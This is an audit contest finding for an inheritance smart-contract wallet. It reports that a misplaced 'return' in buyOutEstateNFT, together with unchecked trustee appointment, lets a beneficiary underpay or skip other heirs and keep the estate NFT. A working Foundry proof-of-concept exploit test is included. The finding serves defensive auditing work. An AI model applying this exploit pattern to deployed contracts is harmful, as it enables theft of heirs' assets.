Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

malicious beneficiary can drain all assets

mishoko

Summary

with a sequence of steps and combining a couple of vulnerabilities a malicouesly appointed beneficiary cann drain all nfts and not pay fairly or pay amount close to zero for them.

Vulnerability Details

for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
return; // CRITICAL BUG: Function exits completely here!
} else {
IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
}
}
nft.burnEstate(_nftID); // Never reached if caller is in the beneficiary list

When the function reaches the caller in the beneficiaries array:

  1. It executes return which exits the entire function

  2. This prevents all remaining beneficiaries from receiving their share

  3. Most critically, it prevents the nft.burnEstate(_nftID) line from executing

Combined with another vuln- lack of check when appointing trustees here is what a malicous beneficiery can do:

  1. A malicious beneficiary arranges to be added to the beneficiary list

  2. They appoint a trusted friend or themselves as trustee (which is aseparate vuln)

  3. The trustee manipulates NFT values as desired (which is a separate vuln)

  4. The beneficiary calls buyOutEstateNFT

  5. When the loop reaches their address in the array, the function returns

  6. The NFT is never burned and remains in the contract

  7. Remaining beneficiaries receive nothing. this depends on whetehr the benficiaries are pre pr post the position of the malicious beneficiery in the beneficieries array. however even those that "get disctribution" could get close to 0. here is how:

  • at step 3 above a malicious beneifciery, appointing herself (or a friend Trustee) as a Trustee they can now control the value of the nft and the asset to distribute. There are a few scenarios they can implement including setting too small/high value for an nft asset, say a house represented by an nft could be made worth just a fraction and even more could be set to be paid in a dummy or worthless asset that the malicous beneficiery has created and controls. This way the malicious beneficiery would distribute close to nothing to other beneficieries ofc if they happens to have been added before him in the array. Bassically the guy might not care since the tokens they will get might be worthless and just created by him.

Attack Outcomes

  1. Keep the NFT: Since the NFT isn't burned, it remains in the contract

  2. Avoid Full Payment: Only beneficiaries listed before the attacker get paid

  3. Manipulate Asset Value: Using trustee powers to set arbitrary values

  4. Repeated Exploitation: The attacker could potentially try again later

Impact

This is a critical vulnerability as it:

  1. Allows theft of valuable assets

  2. Deprives other beneficiaries of their rightful compensation

  3. Completely breaks the intended buyout mechanism

  4. Could be easily exploited by any beneficiary

  5. Important to note that some of assets money get trapped

Tools Used

manual review

Recommendations

  • The return statement should have been a continue to skip the current iteration but proceed with the rest of the function. Instead, it causes the entire function to exit prematurely, breaking the core functionality and creating a severe security vulnerability.

  • Also some check should be added for beneficieries to not be able to become Trusteees

  • implementation of some consensus for appointing Trustees.

PoC

the attacker pays with just minted magic money and this way does not even care that some of the funds get trapped in the contract due the earlier exit due return used instead of continue

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {NFTFactory} from "../src/NFTFactory.sol";
​
contract BuyoutReturnVulnerabilityPoC is Test {
InheritanceManager im;
ERC20Mock paymentToken;
NFTFactory nft;
​
address owner = makeAddr("owner");
address beneficiary1 = makeAddr("beneficiary1");
address beneficiary2 = makeAddr("beneficiary2");
address beneficiary3 = makeAddr("beneficiary3");
address attacker = makeAddr("attacker");
uint256 nftID = 1; // The NFT ID we'll be testing with
​
function setUp() public {
vm.startPrank(owner);
im = new InheritanceManager();
paymentToken = new ERC20Mock();
​
im.addBeneficiery(beneficiary1);
im.addBeneficiery(beneficiary2);
im.addBeneficiery(attacker); // Attacker added in middle position
im.addBeneficiery(beneficiary3);
im.createEstateNFT(
"Luxury Villa",
1_000_000 * 10 ** 18,
address(paymentToken)
);
vm.stopPrank();
nft = NFTFactory(address(im));
}
​
function testEarlyReturnVulnerability() public {
vm.warp(block.timestamp + 91 days);
vm.prank(beneficiary1);
im.inherit();
assertTrue(im.getIsInherited());
​
vm.startPrank(attacker);
im.appointTrustee(attacker);
im.setNftValue(nftID, 100_000 * 10 ** 18);
vm.stopPrank();
bool nftExistsBefore;
console.log("nft value", im.getNftValue(nftID) / 10 ** 18);
paymentToken.mint(attacker, 100_000 * 10 ** 18); // generate magic internet money
vm.prank(attacker);
paymentToken.approve(address(im), 100_000 * 10 ** 18);
​
uint256 atackerBalanceBeforeBuyOut = paymentToken.balanceOf(attacker);
console.log(
"attacker balance before buyout",
atackerBalanceBeforeBuyOut / 10 ** 18
);
vm.prank(attacker);
im.buyOutEstateNFT(nftID);
​
uint256 beneficiary1Balance = paymentToken.balanceOf(beneficiary1);
uint256 beneficiary2Balance = paymentToken.balanceOf(beneficiary2);
uint256 beneficiary3Balance = paymentToken.balanceOf(beneficiary3);
​
console.log("nft value after", im.getNftValue(nftID) / 10 ** 18);
console.log("Beneficiary 1 received:", beneficiary1Balance / 10 ** 18);
console.log("Beneficiary 2 received:", beneficiary2Balance / 10 ** 18);
console.log("Beneficiary 3 received:", beneficiary3Balance / 10 ** 18);
​
uint256 atackerBalanceAfterBuyOut = paymentToken.balanceOf(attacker);
console.log(
"attacker balance after buyout",
atackerBalanceAfterBuyOut / 10 ** 18
);
console.log("Attacker paid:", (atackerBalanceBeforeBuyOut - atackerBalanceAfterBuyOut) / 10 ** 18);
assertTrue(
beneficiary1Balance > 0,
"Beneficiary1 should receive payment"
);
assertTrue(
beneficiary2Balance > 0,
"Beneficiary2 should receive payment"
);
assertEq(
beneficiary3Balance,
0,
"Beneficiary3 should receive nothing due to early return"
);
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

buyOutNFT has return instead of continue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!